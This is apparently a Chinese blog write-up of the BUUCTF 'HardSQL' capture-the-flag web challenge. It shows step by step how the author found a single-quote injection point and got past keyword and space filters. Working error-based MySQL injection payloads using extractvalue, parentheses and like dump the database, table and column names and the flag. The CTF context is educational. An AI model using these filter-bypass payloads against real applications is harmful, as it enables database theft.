BUUCTF Writeup-Web-[极客大挑战 2019]HardSQL 1

1 篇文章 0 订阅

BUUCTF WriteUp

Web

[极客大挑战 2019]HardSQL 1

打开后提示sql注入,查看页面源代码:

image-20200717083318843

发现是get两个参数username和password到check.php

因此可以直接用hackbar构造……/check.php?username=aaa&password=aaa,并执行就可以了。用burpsuite直接改数据也行。

然后开始注入,尝试加’、"

image-20200717083820538

发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入点

image-20200717084154181

出现这行字说明输入的被过滤,一个字符一个字符测试,发现如and/空格/union/select/=//**/等都被过滤了。

  • 报错注入—>爆数据库名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

image-20200717104731608

​ 得到数据库名geek

  • 爆表名:得到表名H4rDsq1
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格,用like绕过了=号

image-20200717111115329

  • 爆列名:得到表名id/username/password
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上,语句不变改一下变量就行

image-20200717111850808

  • 找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!!

image-20200717112621835

可是只显示了flag其中的一段。

剩下的用right()显示其他位数的

image-20200717122137437

试了一下得到三段

flag{054a272b-b502-44b5-a7fa-a2

a272b-b502-44b5-a7fa-a22ba996591

fa-a22ba9965913}

去重拼贴起来得到:

flag{054a272b-b502-44b5-a7fa-a22ba9965913}
  • 9
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值